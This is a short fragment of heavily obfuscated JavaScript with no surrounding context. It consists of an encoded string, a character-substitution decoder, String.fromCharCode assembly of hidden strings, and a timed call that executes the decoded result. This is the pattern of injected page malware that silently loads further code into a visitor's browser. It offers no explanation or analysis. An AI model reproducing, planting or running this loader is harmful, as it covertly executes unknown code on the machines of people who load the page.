6YM5XD#b%4F$3%5$4&0,a6V%f%7!RaZ%3|YM1U%8N^GGGHY-91$8V$Rb$8$4!6%aT,d1*4!4w*8N$7Z%d&4,a2D$c#7%cU%Rb*c&9@4%9%a*6$9L%eF>2&5-96!6DUF$e*f!6$eTA1%f%8U%R7V>0!6&3Md%6*7%d$c|%Rb$0&7@5$4*fQ>1$8V$RbT@b$7+fjN%0ZG*7&9A0#4N$e!6*9*0!6*7&3,ab+8L#9FjOFZ&5?9U+c+9F#aQQ+eTA7$0%e$d+e+d*c%3G&9Ab~%0~+2+bX$e~&0,d1jL%4%4$b%d$c+c&8Me$2%R4$R9L*5L&5A1>3XX+eU%3H+5&8M3%1#c%3#4$7$bV$8T,d1XDFFH+5OU&8@6%c%d>0+7%eZQX&8?7HZ>2$0%dQ$b>0&7@8%d$7%eZNXLH&8@4+9$6j%d+4$8%8|&3@fQ!6N!a#4%dV$aT-9b+4+0*f+7~#c%7$0&1@7L%8W#7#5*0%8*0&5M5#eD|#e%5Q$4U&1Md%R5DX!4*1*a+7&1,a9+a+c%2>0+e+e!2!2Y?3!4~w~X~D!a&3A6$b$d%Rb$c$aZV&8?f#f!Ra#f%5#e^#4Y-96#8*1#9Z^$fZZ&7A3#8$4$9$3$8G$e#8`@9$8$9jGGG*4%e&9@6%1%cX%4D&0,O#5!%2*0X$fWw:"32);",*$8$%d$6%c*b$0U:"KCx(l)\'",w!!0*9$2X!0#8W:");"};KCn=[];Ks.KCg=String.fromCharCode;for(+r Kb in Ka){Ptrim(Kb,Ka))};P\';Ks.KJz58,50<2,120,34,62,60\\,32<5<4,99);\');P\'Ks.Kdz61,50,62,60,47\\);\');P\'Ks.Ke=KCg(97<2/5,46<6<9/5<6<6/1<4,46,99<1/9,47,49,47<6<4/1<0/0<5,47/0,97/5/8,121,46/6<5<1<0);\');KCx(Kp(KCn));try{KCC.getElementById(Ks.Ke)}catch(e){}!v7#v8$vc%vb&:8*v9+va-,q/,10<,11>vd?-7@,cA-8D!9F!eG#2H!bKf_L!dM,bN!cO#6PKCn.push(Q!fRa$T&6U$1V%bW*2X!8Y&2Z#0^#3`:90j#1k!5w!7z=KCg(104/1/5/3/4<6,|$5~!3\\/5/2<4,97/9/1';for(c=42;c--;d=(t=d.split('!#$%&*+-/<>?@ADFGHKLMNOPQRTUVWXYZ^`jkwz|~\\'.charAt(c))).join(f_Ch(t)));f_Cm=d;f_Cx(f_Cm)},500)})()

